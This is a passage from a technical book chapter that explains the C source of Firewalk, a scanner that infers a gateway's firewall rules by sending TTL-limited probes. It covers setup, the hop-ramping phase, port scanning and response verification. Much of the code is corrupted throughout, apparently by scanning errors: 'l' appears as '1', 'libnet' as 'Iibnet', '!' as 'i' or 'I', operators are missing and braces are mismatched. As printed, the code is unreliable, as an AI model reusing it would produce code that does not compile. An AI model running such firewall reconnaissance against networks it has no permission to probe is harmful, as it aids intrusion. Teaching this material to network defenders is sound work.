        * Initialize the main control context. We keep all of our program
        * state here and this is used by just about every function in the
        * program.
        */
       if (fw_init_context(&fp, errbuf) == -1)
       {
            fprintf(stderr, "fw_init_control(): %s n", errbuf);
            goto done;
  }

The control context, prior to initialization, is shown in Figure 12.4.

Figure 12.4: Firewalk context.



The Firewalk context is a 364-byte monolithic structure containing all of the information necessary to describe
a Firewalk session. The structure was designed to align cleanly on 8-byte boundaries so no internal padding
will result. A structure handle is passed to nearly every function in the program to allow them to access and
modify fields as needed.

The fw_init_context() function allocates memory for the control context and sets some of the default

values. After processing the command-line arguments supplied by the user (not shown), Firewalk then
initializes the network components by using fw_init_net(). The function requires the address of the
control context pointer fp, a very common theme for most Fire-walk functions, the user-supplied canonical

target gateway and metric IP addresses, and a pointer to the port list to be scanned (which will be NULL if the
user did not specify one):

  /* initialize the network components */
  if (fw_init_net(&fp, argvfoptind], argv[optind + 1], port_list) == -1)
  {
       fprintf(stderr, "fw_init_network(): %s n", fp->errbuf);
       goto done;
  }

The following function, fw_init_net(), performs the lion's share of the initialization. The function brings up

all of the networking components, sets the rest of the context defaults, and constructs the initial packet
template:

  int
  fw_init_net(struct firepack **fp, char *gw, char *m, char *port_list)
  {
  #if HAVE_BPF
       int one;
  #endif
       char errbuf[PCAP_ERRBUF_SIZE];

Before any packets can be injected into the network, Firewalk needs a libnet context to call many of the libnet
functions:

  /* get a libnet context */
  (*fp)->l = libnet_init(LIBNET_LINK, (*fp)->device, errbuf);
  if ((*fp)->1 == NULL)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_init(): %s",
               errbuf);
       return (-1);
  }

If the user did not specify a device at the command line, Firewalk is forced to look for one. Fortunately, libnet
makes this process painless:

  /* get our device if the user didn't specify one*/
  if ((*fp)->device == NULL)
  {



      (*fp)->device = libnet_getdevice((*fp)->1);
  }

Firewalk needs to know the source address of the interface for which it will send and receive packets:

  /* get the source address of our outgoing interface */
  (*fp)->sin.sin_addr.s_addr = Iibnet_get_ipaddr4((* fp)->1);

Next, it verifies that the target gateway and metric addresses are valid IPv4 addresses and that they are not
the same:

  /* setup the target gateway */
  if (((*fp)->gateway = Iibnet_name2addr4((*fp)->1, gw, 1)) == -1)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                 "Iibnet_name2addr4(): %s (target gateway: %s)",
                 libnet_geterror((*fp)->l), gw);
       return (-1);
  }

  /* setup the metric */
  if (((*fp)->metric = Iibnet_name2addr4((*fp)->1, m, 1) ) == -1)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                 "libnet_nanie2addr4() : %s (metric: %s)",
                 libnet_geterror((*fp)->1), m);
       return (-1);
  }
  /* sanity check */
  if ((*fp)->gateway == (*fp)->metric)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                 "target gateway and metric cannot be the same");
       return (-1);
  }

If the user specified a list of ports to scan during Firewalk's operation, this list will be utilized. Otherwise, if no
list was specified, it will use the default port list, which is ports 1-130,139, and 1025.

  /* get our port list stuff situated */
  if (libnet_plist_chain_new((*fp)->1, &(*fp)->plist,
       port_list == NULL ? strdup(FW_DEFAULT_PORT_LIST) :
       port_list) == -1)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
            "libnet_plist_chain_new(): %s\n", libnet_geterror((*fp)->1));
       return (-1);
  }



Next, Firewalk initializes a libpcap context (required for packet sniffing and filtering):

  /* get a libpcap context */
  (*fp)->p = pcap_open_live((*fp)->device, FW_SNAPLEN, 0, 0, errbuf);
   if ( ( (*fp)->p) == NULL)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "pcap_open_live(): %s",
                errbuf);
       return (-1);
  }

By default, BPF (which is what libpcap uses for low-level packet capture on BSD-derived systems) is
initialized with immediate mode (BIOCIMMEDIATE) turned off. When this feature is deactivated, BPF will wait

to return from a read until the kernel buffer fills up with packets or until a timeout occurs. This process is
generally more efficient because it means that the program will interrupt the kernel less frequently, but it is a
poor performer for real-time applications such as Firewalk (this is also the same behavior that we saw in Lilt in
Chapter 4). In order to obviate this situation, Firewalk makes an ioctl() call on the BPF device to enable

immediate mode, requiring BPF to return immediately on the first packet read from the network, thus
increasing performance:

   #if HAVE_BPF
       /*
        * BPF, by default, will buffer packets inside the kernel until
        * either the timer expires (which we do not use) or when the
        * buffer fills up. This is not sufficient for us since we could
        * miss responses to our probes. So we set BIOCIMMEDIATE to tell
        * BPF to return immediately when it gets a packet. This is pretty
        * much the same behavior we see with Linux which returns every
        * time it sees a packet. This is less than efficient since we're
        * spending more time interrupting the kernel, but hey, we gotta
        * get our work done!
        */
       one = 1;
       if (ioctl(pcap_fileno((*fp)->p), BIOCIMMEDIATE, &one) < 0)
       {
            snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                    "ioctl(): BIOCIMMEDIATE: %s", strerror(errno));
            return (-1);
       }
   #endif

While it is always a good practice to determine the size of the link layer header, Firewalk has not been
extensively tested on anything other than Ethernet. In any event, it goes on to determine the size of some
more popular link layer headers:

  /* get the datalink size */
  switch (pcap_datalink((*fp)->p))
  {



       case DLT_SLIP:
            (*fp)->packet_offset = 0x10;
            break;
       case DLT_RAW:
            (*fp)->packet_offset = 0x00;
            break;
       case DLT_PPP:
            (*fp)->packet_offset = 0x04;
            break;
       case DLT_EN10MB:
       default:
            (*fp)->packet_offset = 0x0e;
            break;
  }

To make the packet-capturing operation more efficient, Firewalk sets a libp-cap filter to ignore all but a few
types of traffic (the specifics of which depend on the scanning protocol). For UDP-based scans, Firewalk is
only interested in ICMP unreachable and ICMP TTL expired messages. For TCP-based scans, Firewalk
needs to read only the ICMP messages previously listed, along with the TCP SYN and TCP RST packets:

  /*
   * Set pcap filter and determine outgoing packet size. The filter
   * will be determined by the scanning protocol:
   * UDP scan:
   * icmp[0] == 11 or icmp[0] == 3 or udp
   * TCP scan:
   * icmp[0] == 11 or icmp[0] == 3 or tcp[14] == 0x12 or tcp[14] \
   * == 0x4 or tcp[14] == 0x14
   */
  switch ((*fp)->protocol)
  {
       case IPPROTO_UDP:
            if (fw_set_pcap_filter(FW_BPF_FILTER_UDP, fp) == -I)
            {
                 /* err msg set in fw_set_pcap_filter() */
                 return (-1);
            }
            /* IP + UDP */
            (*fp)->packet_size = LIBNET_IPV4_H + LIBNET_UDP_H;
            break;
       case IPPROTO_TCP:
            if (fw_set_pcap_filter(FW_BPF_FILTER_TCP, fp) == -1)
            {
                 /* err msg set in fw_set_pcap_filter() */
                 return (-1);
            }
            /* IP + TCP */
            (*fp)->packet_size = LIBNET_IPV4_H + LIBNET_TCP_H;

            /* randomize the TCP sequence number */
            libnet_seed_prand((*fp)->1);



            (*fp)->seq = libnet_get_prand(LIBNET_PRu32);
            break;
       default:
           sprintf((*fp)->errbuf,
                  "fw_init_network(): unsupported protocol");
           return (-1);
   }

In the last stage of initialization, Firewalk builds the packet template used in later phases of operation. The
fw_packet_build_probe() function, as shown here, builds an initial packet template that updates as the

packet sending phases progress:

     /*
      * Build a probe packet template. We'll use this packet template
      * over and over for each write to the network, modifying certain
      * fields (IP TTL, UDP/TCP ports and of course checksums as we go).
      */
     if (fw_packet_build_probe(fp) == -1)
     {
          /* error msg set in fw_packet_build_probe() */
          return (-1);
     }
     return (1);
}

The full mechanics of the packet template construction begin as the code moves from fw_init_net() to
fw_packet_build_probe() :

  int
  fw_packet_build_probe(struct firepack **fp)
  {
       arp_t *a;
       route_t *r;
       struct arp_entry arp;
       struct route_entry route;

As seen in Chapter 3, Libnet mimics the OS kernel when building packet headers by beginning with the
highest layer and progressing downward to the MAC layer. Firewalk starts by building the transport layer
header (these functions are shown later on):

  /* first build our transport layer header */
  switch ((*fp)->protocol)
  {
  case IPPROTO_UDP:
       if (fw_packet_build_udp(fp) == -1)
       {
            /* error msg set in fw_packet_build_udp() */
            return (-1);
       }



       break;
  case IPPROTO_TCP:
       if (fw_packet_build_tcp(fp) == -1)
       {
            /* error msg set in fw_packet_build_tcp() */
            return (-1);
       }
       break;
  default:
       sprintf((*fp)->errbuf,
            "fw_packet_build_probe(): unknown protocol");
       return (-1);
 }

After the transport layer header is built, Firewalk moves on to the IPv4 header. Note that the libnet ptag is
saved to the context structure. Firewalk will need to refer back to this header during later phases:

  /* build our IPv4 header */
  (*fp)->ip = Iibnet_build__ipv4 (
            (*fp)->packet_size,               /* packetlength */
            0,                                /* IP tos */
            (*fp)->id,                        /* IP id */
            0,                                /* IP frag bits */
            (*fp)->ttl,                       /* IP time to live */
            (*fp)->protocol,                  /* transport protocol */
            0,                                /* checksum */
            (*fp)->sin.sin_addr.s_addr,       /* IP source */
            (*fp)->metric,                    /* IP destination */
            NULL,                             /* IP payload */
            0,                                /* IP payload size */
            (*fp)->l,                         /* libnet context */
            0);                               /* No saved ptag */
  if ((*fp)->ip == -1)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "Iibnet_build_ipv4() %s",
               libnet_geterror((*fp)->1));
       return (-1);
  }

For maximum flexibility, control, and portability, Firewalk uses libnet's link layer interface to send packets. In
order to send packets to arbitrary Internet hosts, however, Firewalk needs to determine the MAC address of
the first hop gateway. This task is accomplished with libdnet's portable ARP cache and route table
manipulation functionality:

     /*
      * Now we need to get the MAC address of our first hop gateway.
      * Dnet to the rescue! We start by doing a route table lookup
      * to determine the IP address we use to get to the
      * destination host (the metric).
      */



To look up the MAC address of the default gateway, Firewalk first must determine what the IP address of the
default gateway actually is. This task is accomplished by performing a lookup against the local routing table:

  r = route_open();
  if (r == NULL)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "route_open()");
       route_close(r);
       return (-1)
  }
  /* convert the metric address to dnet's native addr_t format */
  if (addr_aton(libnet_addr2name4((*fp)->metric, 0),
            &route.route_dst) 0)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "addr_aton()");
       route_close(r);
       return (-1);
  }
  /* get the route entry telling us how to reach the metric */
  if (route_get(r, &route) < 0)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "route_get()");
       route_close(r);
       return (-1);
  }
  route_close(r);

Armed with the gateway's IP address, Firewalk then performs a simple ARP table lookup to find out the MAC
address of the first hop gateway:

  a = arp_open();
  if (a == NULL)
  {
       snprintf((*fpj->errbuf, FW_ERRBUF_SIZE, "arp_open()");
       return (-1);
  }
  /* get the MAC of the first hop gateway */
  arp.arp_pa = route.route_gw;
  if (arp_get(a, &arp) < 0)
  {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "route_get()");
       arp_close(a);
       return (-1);
  }
  arp_close(a);

With the MAC address of the first hop known, Firewalk can now build the Ethernet header:



     /* build our ethernet header */
     if (libnet_autobuild_ethernet(
               (u_char *)&arp.arp_ha.addr_eth,
               ETHERTYPE_IP,
               (*fp)->l) == -1)
     {
           snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
                    "libnet_autobuild_ethernet() %s",
                    libnet_geterror((*fp)->1));
          arp_close(a);
          return (-1);
     }
     return (1);
}

The following two functions build the UDP and TCP headers used in the ramping phase (the reader should
again note how the ptags are saved for later use):

  int
  fw_packet_build_udp(struct firepack **fp)
  {
       /* build a UDP header */
       (*fp)->udp = libnet_build_udp(
            (*fp)->sport,                         /* source UDP port */
            (*fp)->dport,                         /* dest UDP port */
            (*fp)->packet_size - LIBNET_IPV4_H,   /* UDP size */
            0,                                    /* checksum */
            NULL,                                 /* IP payload */
            0,                                    /* IP payload size */
            (*fp)->l,                             /* libnet context */
            0);                                   /* No saved ptag */
       if ((*fp)->udp == -I)
       {
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_build_udp(} %s",
            libnet_geterror((*fp)->1));
       return (-1);
  }
       return (1);

  }
  int
  fw_packet_build_tcp(struct firepack **fp)
  {
       /* build a TCP header */
       (*fp)->tcp = libnet_build_tcp(
            (*fp)->sport,                          /* source TCP port */
            (*fp)->dport,                          /* dest TCP port */
            (*fp)->seq,                            /* sequence number */
            OL,                                    /* ACK number */
            TH_SYN,                                /* control flags */
            1024,                                  /* window size */



            0,                                     /* checksum */
            0,                                     /* urgent */
            (*fp)->packet_size - LIBNET_IPV4_H,    /* TCP size */
            NULL,                                  /* IP payload */
            0,                                     /* IP payload size */
            (*fp)->l,                              /* libnet context */
            0);                                    /* No saved ptag */
       if ((*fp)->tcp == -1)
       {
         snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_build_tcp() %s",
            libnet_geterror((*fp)->l)); return (-1);
       }
       return (1);
  }

The initialization phase is considered complete after the construction of the packet template. The Firewalk
context, after an initialization based upon the user supplying a -n switch, a target gateway, and a metric to the

command line, appears in Figure 12.5.



Figure 12.5: Firewalk context after initialization.

At this point in the application's execution, the collection of pointers in the Firewalk context are all initialized;
device points to the canonical name for the interface, packet points to NULL (it will soon point to the
captured packet), p and 1 point to the libpcap and libnet contexts, respectively, and plist points to the libnet

port list. It is also important to note the libnet ptags that refer to the packet headers inside the libnet context.

Stage Two: Ramping Phase

After a successful initialization, the ramping phase commences, which is shown in Figure 12.6.

Figure 12.6: Firewalk ramping phase flowchart.

The ramping phase is a multi-staged process that revolves around a packet injection, capturing, and
processing loop. Most of the real work occurs inside fw_packet_capture(), which is saved until the end

of the ramping section.

Returning to the main module, Firewalk calls the main scanning driver:

  /* execute scan: phase one, and hopefully phase two */



  switch (firewalk(&fp))
  {

Firewalk will only hit this branch if there is a serious, unrecoverable error:

  case -1:
  case FW_SERIOUS_ERROR:
       /* grievous error of some sort */
       fprintf (stderr, "firewalkO: %s\n", fp->errbuf);
       break;

If Firewalk exceeds its hopcount or the metric is reached before the target gateway, the following error will be
thrown:

  case FW_ABORT_SCAN:
       /* hop count exceeded or metric en route */
       fprintf(stderr, "Scan aborted: %s. n", fp->errbuf);
       break;

This event occurs if the user hits Ctrl-c on the keyboard:

  case FW_USER_INTERRUPT:
       fprintf(stderr, "Scan aborted by user. n");
       break;

Finally, if everything goes according to plan,

  default:
       printf("Scan completed successfully. n");
       break;
  }

The operation of the scanning driver can be broken down into two parts corresponding to each phase. The
first part covers the ramping phase:

  int
  firewalk(struct firepack **fp)
  {
       int done, i, j;
       u_short bport, cport, eport;

Firewalk begins by informing the user as to the content of the parameter collection utilized in the scan:

  /* inform the user what's what */
  printf("%s-based scan.Xn",



       (*fp)->protocol == IPPROTO_TCP ? "TCP" : "UDP");
  printf("Ramping phase source port: %d, destination port: %d n",
       (*fp)->sport, (*fp)->dport);
  if ((*fp)->flags & FW_STRICT_RFC && (*fp)->protocol == IPPROTO_TCP)
  {
       printf("Using strict RFC adherence. n");
  }
  printf("Hotfoot through %s using %s as a metric./n",
       libnet_addr2name4(((*fp)->gateway),
       ((*fp)->flags) & FW_RESOLVE),
       libnet_addr2name4(((*fp)->metric),
       ((*fp)->flags) & FW_RESOLVE));
  /*
   * PHASE ONE: Firewalk hopcount ramping
   * A standard Traceroute-style IP expiry scan is initiated towards
   * the metric, with the intent being to find how many hops away the
   * target gateway is from the scanning host. We'll increment the
   * hopcounter and update packet template each pass through the loop.
   */
  printf("Ramping Phase: n");

The main ramping loop starts here and continues until either Firewalk reaches its hopcount or the scan is
"done" (the sentinel variable done is set to 1). The scan can be considered "done" when either the binding

host is reached or Firewalk gets a terminal packet from the metric:

  for (done = 0, i = 0; !done && i < FW_IP_HOP_MAX; i++)
  {
       /* send a series of probes (currently only one) */
       for (j = 0; j < 1; j++)
       {
            fprintf(stderr, "%2d (TTL %2d): ", i + 1, (*fp)->ttl);

The ramping probes are injected at this point to the network. fw_packet_ inject() (not shown) is a
simple wrapper lo libnec_write().

  if (fw_packet_inject(fp) == -1)
  {
       /*
        * Perhaps this write error was transient. We'll hope
        * for the best. Inform the user and continue.
        */
       fprintf(stderr, "fw_packet_inject(): %s n",
               (*fp)->errbuf);
       continue;
  }

As we stated before, the bulk of the analysis work is done in fw_packet_ capture(). We detail this

function and its underlying verification engine later in the chapter. At this point, it is important to note that
during the ramping phase, the function will return an enumerated value (not an enum datatype) based on the



type of response that Firewalk gets to its probes:

  switch (fw_packet_capture(fp))
  {

During the ramping phase, the software expects either of the following two responses. We are familiar with
both the TTL expired in transit message and the unreachable message from Chapter 9. If the verification
engine has determined that the response in question does not bind the scan, Firewalk breaks out of the loop,
updates its probe with fw_packet_update_probe(), and continues in the loop. If the scan is bound by the

response, Firewalk informs the user and breaks from the ramping loop:

  case FW_PACKET_IS_UNREACH_EN_ROUTE:
  case FW_PACKET_IS_TTL_EX_EN_ROUTE:
       if ((*fp)->flags & FW_BOUND)
       {
            printf("Binding host reached. n");
            done = 1;
       }
       break;

A terminal response might come at any time and indicates that the metric was reached before the target
gateway. This situation means that the target gateway was not en route to the metric, and a different metric
should have been chosen. This problem is obviously an unrecoverable situation because Firewalk has
nothing to scan. Firewalk sets the loop sentinel done to 1, which results in termination of the ramping phase:

  case FW_PACKET_IS_TERMINAL_TTL_EX:
  case FW_PACKET_IS_TERMINAL_UNREACH:
  case FW_PACKET_IS_TERMINAL_SYNACK:
  case FW_PACKET_IS_TERMINAL_RST:
       /* any terminal response will end phase one */
       done = 1;
       break;

If Firewalk encounters an unrecoverable error in the packet capturing or verification module, the following
error returns:

  case -1:
  case FW_SERIOUS_ERROR:
       /* err msg set in fw_packet_capture() */
       return (FW_SERIOUS_ERROR);

If the user hits Ctrl-c to terminate the program, Firewalk will end up here for a graceful exit:

          case FW_USER_INTERRUPT:
               /* user hit ctrl-c */
               return (FW_USER_INTERRUPT);
     }



}

If Firewalk reaches the end of the ramping loop and has not yet bound to a target gateway, it will update its
probe template with fw__packet_update_probe() (not shown). During the ramping phase, this function

simply bumps up the IP TTL by one each time it is called. We will see that this function is also called in the
scanning phase to bump up transport layer ports:

     if (!done)
     {
          if (fw_packet_update_probe(fp, cport) == -1)
          {
               /* error msg set in fw_packet_update_probe */
               return (-1);
          }
     }
}

The following two checks will catch situations where the target gateway is not en route to the metric and when
the hopcount is exceeded. The first happens when the metric is reached and the scan is considered done due
to the reception of a terminal response, but the scan is never FW_BOUND because the target gateway was not

reached. The hopcount is exceeded whenever the target gateway or metric cannot be reached in
IP_HOP_MAX (25) hops.

  if (done && !((*fp)->flags & FW_BOUND))
  {
       /*
        * If we're "done" but not "bound" then we hit the metric
        * before we hit the target gateway. This means the target
        * gateway is not en route to the metric. Game's over kids.
        */
       sprintf((*fp)->errbuf,
              "metric responded before target; must not be en route");
       return (FW_ABORT_SCAN);
  }
  if (idone)
  {
       /* if we fall through down here, we've exceeded our hopcount */
       sprintf((*fp)->errbuf, "hopcount exceeded");
       return (FW_ABORT_SCAN);
  }

Stage Three: The Scanning Phase

After a successful ramping phase, Firewalk proceeds to the scanning phase. A flowchart of its operation
appears in Figure 12.7.



Figure 12.7: Firewalk scanning phase flowchart.

Like the ramping phase, the scanning phase is also a multi-staged process that revolves around a packet
injection, capturing, and processing loop. Again, most of the work is done in the fw_packet_capture()

function:

Control passes to the scanning loop after the binding phase is completed. This operation occurs inside the
firewalk() function:

  /*
   * PHASE TWO: Firewalk scanning
   * A series of probes are sent to the metric with the bound IP
   * TTL. If a given probe is accepted through the target gateway's
   * ACL, we will receive an ICMP TTL expired in transit from the
   * binding host. If we receive no response after the timeout expires,
   * it is assumed the probe violated the ACL on the target and was
   * dropped.
   */
  (*fp)->ttl += (*fp)->xv;
  printf("Scan bound at %d hops.\n", (*fp)->ttl);
  printf("Scanning Phase: n");



A sentinel variable controls the flow of the loop:

  for (done = 0, i = 0; Idone; i++)
  {

In the following block, Firewalk retrieves the next port list pair from the lib-net port list chain. This function
returns true as long as there are pairs of ports left to scan. When the list is exhausted, the function returns 0
and Firewalk has completed scanning:

  if (!libnet_plist_chain_next_pair{(*fp)->plist, &bport, &eport))
  {
       /* we've exhausted our portlist and we're done */
       done = 1;
       continue;
  }

The internal scanning loop will scan a series of ports, beginning at bport (the beginning port) and ending
with eport (the ending port):

  while (!(bport > eport) && bport != 0)
  {
       eport = bport++;

Firewalk updates the scanning probe with cport (the current port). The fw_packet_update_probe()

function (not shown) is used to replace the transport layer destination port with cport rather than modifying the
IP header as it did earlier:

  if (fw_packet_update_probe(fp, cport) == -1)
  {
       /* error msg set in fw_packet_update_probe */
       return (-1);
  }

  /* send a series of probes (currently only one) */
  for (j = 0; j < 1; j++)
  {
       fprintf(stderr, "port %3d: ", cport);
       (*fp)->stats.ports_total++;

As mentioned earlier, Firewalk shoots the packet into the network:

  if (fw_packet_inject(fp) == -1)
  {
       /*
        * Perhaps this write error was transient. We'll
        * hope for the best. Inform the user and continue.



        */
       fprintf (stderr, "fw_packet_inject(): %s/n",
                (*fp)->errbuf);
       continue;
  }
  /* we only care if the return value is an error */

When scanning, the packet processing is handled by fw_packet_capture():

  switch(fw_packet_capture(fp))
  {
       case FW_USER_INTERRUPT:
           return (FW_USER_INTERRUPT) ;
       case -1:
       case FW_SERIOUS_ERROR:
           /* err msg set in fw_packet_capture() */
           return (FW_SERIOUS_ERROR);

The default case is empty because the processing and reporting is all handled by fw_packet_capture():

                         default:
                              /* empty */
                    }
               }
          }
     }
     return (1);
}

After scanning is completed, Firewalk returns control back to the main module:

  done:

Before shutting down, Firewalk reports packet injection, capturing, and analysis statistics to the user:

  fw_report_stats(&fp);

Firewalk shuts down in an orderly fashion, relinquishing all of its resources back to the operating system (this
function is shown as follows):

  fw_shutdown(&fp) ;
  /* we should probably record proper exit status */

Elvis has left the building:



     return (EXIT_SUCCESS);
}

Packet Capturing and Verification

The packet capturing and verification functions perform the majority of Fire-walk's correlation and analysis
activity. The fw_packet_capture() function is discussed first, and we diagram it in Figure 12.8.

Figure 12.8: Firewalk packet capture flowchart.

The packet-capturing functionality loops around the select() system call, which is responsible for notifying

Firewalk when a packet is ready for processing or when a timeout or error has occurred. If the packet is found
to be inconsequential, control passes back to the top in the hopes that another more interesting packet will
arrive before the timer expires. If the timeout occurs, Firewalk will move on—recording that it received no
suitable response.

Packet capturing occurs inside a loop, and as before, Firewalk needs to use a global sentinel variable to
mediate control within the loop. The difference here is that this loop sentinel is global. The interrupt signal
handler (called asynchronously) must have a graceful way of shutting down the program. This task occurs by
making the sentinel global so that the signal handler (a separate function) can access it:



  int loop = 1;

  int
  fw_packet_capture(struct firepack **fp)
  {
       int pcap_fd, c, timed_out;
       fd_set read_set;
       struct timeval timeout;
       struct pcap_pkthdr pc_hdr;

Firewalk sets up the select() synchronous multiplexing variables:

  timeout.tv_sec = (*fp)->pcap_timeout;
  timeout.tv_usec = 0 ;

  pcap_fd = pcap_fileno((*fp)->p);
  FD_ZERO(&read_set);
  FD_SET(pcap_fd, &read_set) ;

The packet-capturing loop starts here. Firewalk will loop until a timeout occurs or when the sentinel variable is
set to false, which only happens when the user interrupts the program via Ctrl-c (actually, the interrupt signal
might interrupt the select() call itself, which results in it returning -1):

  for (timed_out = 0; !timed_out && loop; )
  {

Firewalk depends upon the select() facility in order to gracefully multitask between checking for packet

responses, read timeouts, and errors:

  c = select (pcap_fd + 1, &read_set, 0, 0, &timeout);
  switch (c)
  {

If a select() error occurs or if the user interrupts the program while Firewalk is inside select(), the

following code executes:

  case -1:
       snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
            "select() %s", strerror(errno));
       return (-1);

If no traffic returns within pcap_timeout seconds, select() will time out, return 0, and end up returning
FW_NO_REPLY to the scanning module:



  case 0:
       timed_out = 1;
       continue;

The default case is hit when there is a packet to be read from the libpcap device. As a matter of good
practice, Firewalk ensures that the libpcap file descriptor is ready for a read operation (which it should be,
because it is the only member of the file descriptor read set):

     default:
          if (FD_ISSET(pcap_fd, &read_set) == 0)
          {
               timed_out = 1;
               continue;
          }
          /* fall through to read the packet */
     }

Firewalk reads in a packet from the libpcap device here:

  (*fp) -> packet = (u_char *)pcap_next ((*fp)->p, &pc_hdr);
  if ((*fp)->packet == NULL)
  {
       /* no NULL packets please */
       continue;
  }
  (*fp)->stats.packets_caught++;

At this point, the packet passes to the verification engine, which determines whether the packet is interesting
or not. The appropriate verification function calls according to whether or not Firewalk is in the ramping phase
or the scanning phase:

  /*
   * Submit the packet for verification first based on scan type,
   * If we're not bound, we're still in phase one and need to
   * verify the ramping response. If we are bound, we're in
   * phase two and we need to verify the terminal response.
   * Then process the response from the verification engine.
   * Report to the user if necessary and update the packet
   * statistics.
   */
  switch (!(((*fp)->flags) & FW_BOUND) ? fw_packet_verify_ramp(fp) :
         fw_packet_verify_scan(fp))
  {

The results from the verification engine are parsed, and the reporting function fw_report() (not shown) is

called. The reporting function simply takes the results from the verification engine and prints a message for
the user detailing the packet response type (expired, unreachable, RST, and so on) and the IP address of the
host that caused the message. Additionally, with ICMP unreachable packets Firewalk prints the unreachable



code:

          case FW_PACKET_IS_TTL_EX_EN_ROUTE:
               /* RAMPING: TTL expired en route to gateway (standard) */
               fw_report(FW_PACKET_IS_TTL_EX_EN_ROUTE, fp);
               (*fp)-> stats.packets_caught_interesting++;
               return (FW_PACKET_IS_TTL_EX_EN_ROUTE);
          case FW_PACKET_IS_UNREACH_EN_ROUTE:
               /* RAMPING: Unreachable en route to gateway (uncommon) */
               fw_report(FW_PACKET_IS_UNREACH_EN_ROUTE, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PACKET_IS_TTL_EX_EN_ROUTE);
          case FW_PACKET_IS_TERMINAL_TTL_EX:
               /* RAMPING: TTL expired at destination (rare) */
               fw_report(FW_PACKET_IS_TERMINAL_TTL_EX, fp);
               (*fp) -> stats.packets_caught_interesting++;
               return (FW_PACKET_IS_TERMINAL_TTL_EX);
          case FW_PACKET_IS_TERMINAL_UNREACH:
               /* RAMPING: Unreachable at destination (uncommon) */
               fw_report(FW_PACKET_IS_TERMINAL_UNREACH, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PACKET_IS_TERMINAL_UNREACH);
          case FW_PACKET_IS_TERMINAL_SYNACK:
               fw_report(FW_PACKET_IS_TERMINAL_SYNACK, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PACKET_IS_TERMINAL_SYNACK);
          case FW_PACKET_IS_TERMINAL_RST:
               fw_report(FW_PACKET_IS_TERMINAL_RST, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PACKET_IS_TERMINAL_RST);
          case FW_PORT_IS_OPEN_SYNACK:
               /* SCANNING: A response from an open TCP port */
               fw_report(FW_PORT_IS_OPEN_SYNACK, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PORT_IS_OPEN_SYNACK);
          case FW_PORT_IS_OPEN_RST:
               /* SCANNING: A response from a closed TCP port */
               fw_report(FW_PORT_IS_OPEN_RST, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PORT_IS_OPEN_RST);
          case FW_PORT_IS_OPEN_UNREACH:
               /* SCANNING: A port unreachable response */
               fw_report(FW_PORT_IS_OPEN_UNREACH, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PORT_IS_OPEN_UNPEACH);
          case FW_PORT_IS_OPEN_TTL_EX:
               /* SCANNING: A TTL expired */
               fw_report(FW_PORT_IS_OPEN_TTL_EX, fp);
               (*fp)->stats.packets_caught_interesting++;
               return (FW_PORT_IS_OPEN_TTL_EX);
          case FW_PACKET_IS_BORING:
          default:



               continue;
     }
 }

The signal handler sets the loop sentinel loop to 0 when the user hits Ctrl-c, which we handle here:

  if (!loop)
  {
       return (FW_USER_INTERRUPT);
  }

If control reaches this point, select() must have timed out waiting for a response:

     /*
      * If we get here, the scan timed out. We either dropped a packet
      * somewhere or there is some filtering going on.
      */
     printf("*no response* n");
     fflush(stdout);
     return (FW_NO_REPLY);
  }

The ramping phase verification function fw_packet_verify_ramp() as shown in Figure 12.9 is detailed

as follows.

Figure 12.9: Firewalk packet verification (ramping phase) flowchart.

While the ramping phase verification process might appear confusing at first glance, it is actually relatively
straightforward. Firewalk basically just has to make sure that the packet is a response from a probe that it
sent, and if so, determine the type of response it is:

  int
  fw_packet_verify_ramp(struct firepack **fp)
  {



Firewalk has to access several different header fields, and as we have seen in earlier chapters, retrieving
data from these fields can be done by simply casting the pointers into templates and dereferencing the
required fields. As such, Firewalk makes liberal use of libnet's internal IP, ICMP, and TCP header templates:

  struct libnet_ipv4_hdr *ip_hdr;
  struct libnet_icmpv4_hdr *icmp_hdr;
  struct libnet_ipv4_hdr *o_ip_hdr;
  struct libnet_tcp_hdr *tcp_hdr;

Initially, Firewalk needs to access the IPv4 header to make sure that it did not generate the packet currently
being examined:

  /* point to the IP header */
  ip_hdr = (struct libnet_ipv4_hdr *)
          ((*fp)->packet + (*fp)->packet_offset);
  if (ip_hdr->ip_src.s_addr == (*fp)->sin.sin_addr.s_addr)
  {
         /* packets we send are of no interest to us here. */
         return (FW_PACKET_IS_BORING);
  }

After the sanity check, Firewalk needs to narrow down the packet based on protocol:

  switch (ip_hdr->ip_p)
  {

ICMP is the standard response packet for the ramping phase.

  case IPPROTO_ICMP:
       icmp_hdr = (struct libnet_icmpv4_hdr *)
            ((*fp)->packet + (*fp)->packet_offset + LIBNET_IPV4_H);

ICMP packets, which make up the bulk of the ramping phase, are handled here in the first block:

  switch (icmp_hdr->icmp_type)
  {

There are two type codes for ICMP TTL expired messages: expired in transit (code 0) and expired in
fragmentation reassembly queue (code 1). The latter of the two occurs when an incomplete series of IP
fragments times out inside a host's fragmentation queue. Firewalk only wants code 0 ICMP TTL expired

messages (of course, the smart play would be to apply this logic to the BPF filter, which would obviate this
check):

  case ICMP_TIMXCEED:
      if (icmp_hdr->icmp_code != ICMP_TIMXCEED_INTRANS)
      {



          /*
           * Packet was from an expired IP frag queue
           * reassembly timer. Nothing we want.
           */
           break;
       }
  case ICMP_UNREACH:
       /*
        * Point to the original IPv4 header inside the ICMP
